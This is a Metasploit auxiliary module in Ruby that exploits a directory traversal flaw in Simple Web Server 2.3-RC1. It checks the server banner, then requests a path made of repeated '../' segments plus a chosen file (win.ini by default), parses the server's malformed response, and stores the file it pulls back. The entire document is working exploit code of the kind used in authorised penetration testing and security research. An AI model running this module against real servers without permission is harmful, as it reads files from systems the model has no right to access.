##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Simple Web Server 2.3-RC1 Directory Traversal',
      'Description'    => %q{
          This module exploits a directory traversal vulnerability found in
        Simple Web Server 2.3-RC1.
      },
      'References'     =>
        [
          [ 'OSVDB', '88877' ],
          [ 'EDB', '23886' ],
          [ 'URL', 'http://seclists.org/bugtraq/2013/Jan/12' ]
        ],
      'Author'         =>
        [
          'CwG GeNiuS',
          'sinn3r'
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => "Jan 03 2013"
    ))

    register_options(
      [
        OptString.new('FILEPATH', [true, 'The name of the file to download', 'windows\\win.ini']),
        OptInt.new('DEPTH',       [true, 'The max traversal depth', 8])
      ], self.class)

    deregister_options('RHOST')
  end


  #
  # The web server will actually return two HTTP statuses: A 400 (Bad Request), and the actual
  # HTTP status -- the second one is what we want.  We cannot use the original update_cmd_parts()
  # in Response, because that will only grab the first HTTP status.
  #
  def parse_status_line(res)
    str = res.to_s

    status_line = str.scan(/HTTP\/(.+?)\s+(\d+)\s?(.+?)\r?\n?$/)

    if status_line.empty?
      print_error("Invalid response command string.")
      return
    elsif status_line.length == 1
      proto, code, message = status_line[0]
    else
      proto, code, message = status_line[1]
    end

    return message, code.to_i, proto
  end


  #
  # The MSF API cannot parse this weird response
  #
  def parse_body(res)
    str = res.to_s
    str.split(/\r\n\r\n/)[2] || ''
  end


  def is_sws?
    res = send_request_raw({'uri'=>'/'})
    if res and res.headers['Server'].to_s =~ /PMSoftware\-SWS/
      return true
    else
      return false
    end
  end


  def run_host(ip)
    if not is_sws?
      print_error("#{ip}:#{rport} - This isn't a Simple Web Server")
      return
    end

    uri = normalize_uri("../"*datastore['DEPTH'], datastore['FILEPATH'])
    res = send_request_raw({'uri'=>uri})

    if not res
      print_error("#{ip}:#{rport} - Request timed out.")
      return
    end

    # The weird HTTP response totally messes up Rex::Proto::Http::Response, HA!
    message, code, proto = parse_status_line(res)
    body                 = parse_body(res)

    if code == 200

      if body.empty?
        # HD's likes vprint_* in case it's hitting a large network
        vprint_status("#{ip}:#{rport} - File is empty.")
        return
      end

      vprint_line(body)
      fname = ::File.basename(datastore['FILEPATH'])
      p = store_loot('simplewebserver.file', 'application/octet-stream', ip, body, fname)
      print_good("#{ip}:#{rport} - #{fname} stored in: #{p}")
    else
      print_error("#{ip}:#{rport} - Unable to retrieve file: #{code.to_s} (#{message})")
    end
  end
end